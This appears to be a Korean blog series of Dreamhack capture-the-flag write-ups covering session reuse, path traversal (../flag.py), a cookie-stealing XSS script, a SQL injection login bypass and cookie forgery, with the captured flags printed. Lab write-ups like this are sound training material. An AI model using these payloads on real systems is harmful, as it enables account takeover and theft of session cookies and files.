DH{8a33bb6fe0a37522bdc8adb65116b2d4}
728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

XSS-2  (0) 2023.02.12
devtools-sources  (0) 2023.02.11
session-basic  (0) 2023.02.09
file-download-1  (0) 2023.02.09
XSS-1  (0) 2023.02.07
728x90
쿠키와 세션으로 인증 상태를 관리하는 간단한 로그인 서비스입니다.
admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있습니다.

플래그 형식은 DH{…} 입니다.
if __name__ == '__main__':
    import os
    # create admin sessionid and save it to our storage
    # and also you cannot reveal admin's sesseionid by brute forcing!!! haha
    session_storage[os.urandom(32).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

함수가 실행되면서 처음에 비어있는 session_storage에 랜덤한 세션 id를 key로 admin을 value로 넣고 있다.

@app.route('/admin')
def admin():
    # developer's note: review below commented code and uncomment it (TODO)

    #session_id = request.cookies.get('sessionid', None)
    #username = session_storage[session_id]
    #if username != 'admin':
    #    return render_template('index.html')

    return session_storage

admin 함수에서 session_storage를 반환하고 있다.

http://host3.dreamhack.games:14823/admin로 접속하니 세션 id가 나온다.

{"ac38f2333c6c0fe28e748e2c1079228f4cec5ba273974c9b2406e282f7e5b10d":"admin"}
@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        # get username from session_storage
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

쿠키에 sessionid 이름으로 admin을 값으로 하여 추가하고 첫 페이지에서 새로고침하면 flag가 나온다.

 

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

devtools-sources  (0) 2023.02.11
pathtraversal  (0) 2023.02.11
file-download-1  (0) 2023.02.09
XSS-1  (0) 2023.02.07
simple_sqli  (0) 2023.02.07
728x90
문제 정보
File Download 취약점이 존재하는 웹 서비스입니다.
flag.py를 다운로드 받으면 플래그를 획득할 수 있습니다.

Upload My Memo 메뉴에 들어가서 글을 쓰고 올리면 / 페이지에 출력된다. 글을 클릭하면 read_memo 함수가 실행된다.

read 함수의 name인자에 제목을 넣으면 해당 제목의 글을 읽는다.

UPLOAD_DIR = 'uploads'

@APP.route('/read')
def read_memo():
    error = False
    data = b''

    filename = request.args.get('name', '')

    try:
        with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
            data = f.read()
    except (IsADirectoryError, FileNotFoundError):
        error = True


    return render_template('read.html',
                           filename=filename,
                           content=data.decode('utf-8'),
                           error=error)

uploads 디렉토리 밑에 filename이 위치한다.

name 인자에 flag.py를 입력하니 없다고 한다.

../flag.py를 입력하니 답이 나온다. uploads 디렉토리와 같은 경로에 flag.py가 존재했다.

FLAG = 'DH{uploading_webshell_in_python_program_is_my_dream}'
728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

pathtraversal  (0) 2023.02.11
session-basic  (0) 2023.02.09
XSS-1  (0) 2023.02.07
simple_sqli  (0) 2023.02.07
cookie  (0) 2023.02.07
728x90

XSS란?

XSS란?

크로스 사이트 스크립팅은 공격자가 희생자의 브라우저에 스크립트가 실행되도록 하여 사용자의 쿠키나 세션 등을 탈취하는 공격이다. 공격 방식에 따라 Stored XSS, Reflected XSS가 있다.

Stored XSS는 공격자가 게시판의 게시글에 스크립트를 저장하여 희생자가 게시글을 요청하면 서버는 스크립트가 포함된 게시글을 돌려주고 희생자의 브라우저에서 스크립트가 실행된다.

Reflected XSS는 스크립트가 포함된 링크를 클릭하면 스크립트가 포함된 요청이 전송되고, 서버로부터 스크립트가 포함된 HTML 문서를 수신함으로써 브라우저에서 스크립트가 실행된다.

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

flag 함수에서 FLAG가 등장한다. 다른 함수가 flag 함수를 호출하는 것도 아니라서 flag 함수에서 출발해 본다.

flag 함수는 내부에서 check_xss 함수를 호출한다. 인자에 FLAG가 존재한다.

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

urlib.parse.quote(param)은 param을 URL 인코딩한다. url 문자열은 웹 사이트의 vuln(xss) page에서 param의 인자를 입력하는 행위다. 그리고 read_url 함수를 호출한다.

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True

read_url 함수는 쿠키를 추가해서 인자로 전달한 url 창을 띄웠다가 닫는다.

xss-1 웹 사이트를 보면 vuln(xss) page, memo, flag가 있다.

vuln(xss) page는 XSS 공격이 가능하다. 접속하자마자 1이 뜬다.

memo에서는 접속할 때마다 hello만 하나씩 출력이 추가되며 XSS는 통하지 않는다.

flag는 check_xss함수를 호출하고 check_xss 함수를 보면 vuln(xss) page에 인자값을 전달한다.

FLAG 값이 flag 함수에서 등장하여 cookie 인자로 check_xss로 전달되고 read_url 함수에서 driver.add_cookie 함수에 의해 쿠키값으로 추가된다. 이때 쿠키 값을 memo 페이지에 기록하면 memo 페이지에서 다음과 같이 FLAG 값을 볼 수 있다.

flag 페이지에 접속하여 다음과 같이 입력한다.

<script>location.href="http://127.0.0.1:8000/memo?memo="+document.cookie</script>

javascript 문인데 location.href 뒤에 등장하는 memo 페이지로 리다이렉션 되며 memo 파라미터로 쿠키값을 전달한다. flag 함수에서 등장한 FLAG 값이 check_xss 함수를 거쳐 read_url 함수에서 쿠키에 FLAG를 저장하였기 때문에 document.cookie를 이용해 쿠키를 출력한다. memo 페이지에 접속하면 FLAG가 보인다.

hello
flag=DH{2c01577e9542ec24d68ba0ffb846508e}
hello

flag 함수의 인자로 http://host3.dreamhack.games:포트번호 형태가 아닌 http://127.0.0.1:8000을 줬는지, 또는 flag 함수에 <script>alert(document.cookie)</script>를 입력하면 안 풀리는 이유는 127.0.0.1이 내 ip가 아닌 서버를 실행시킨 admin의 ip이기 때문이다. 첫 번째 경우는 127.0.0.1을 이용함으로써 admin의 쿠키 값에 추가된 flag를 memo 페이지에 출력할 수 있으며 두 번째 경우는 alert 창은 admin의 PC에 뜰 것이다.

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

pathtraversal  (0) 2023.02.11
session-basic  (0) 2023.02.09
file-download-1  (0) 2023.02.09
simple_sqli  (0) 2023.02.07
cookie  (0) 2023.02.07
728x90
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userid = request.form.get('userid')
        userpassword = request.form.get('userpassword')
        res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
        if res:
            userid = res[0]
            if userid == 'admin':
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'

핵심 코드는 login 함수다. flag를 출력하는 문이 보인다.

Login 페이지에서 userid & password 전송하면 POST 방식이 되고 login 함수의 else 부분이 실행된다. 쿼리 실행결과 userid가 admin이면 FLAG가 출력된다.

userid에 admin을 넣고 password에 " or userid="admin 을 넣었다. 결과적으로 아래의 쿼리가 완성된다.

select * from users where userid="admin" and userpassword="" or userid="admin"

 

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

pathtraversal  (0) 2023.02.11
session-basic  (0) 2023.02.09
file-download-1  (0) 2023.02.09
XSS-1  (0) 2023.02.07
cookie  (0) 2023.02.07
728x90
@app.route('/')
def index():
    username = request.cookies.get('username', None)
    if username:
        return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
    return render_template('index.html')

app.py 코드 중 핵심 부분이다.

/(루트) 페이지 즉, 첫 페이지에 접속하면 index 함수가 실행된다.

index 함수는 username 이름의 쿠키 값이 admin이면 "flag is FLAG값" 형태로 출력한다.

개발자 옵션(f12)을 이용해 cookie를 추가한다.

웹 페이지를 새로고침 하면 flag가 나온다.

 

 

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

pathtraversal  (0) 2023.02.11
session-basic  (0) 2023.02.09
file-download-1  (0) 2023.02.09
XSS-1  (0) 2023.02.07
simple_sqli  (0) 2023.02.07

+ Recent posts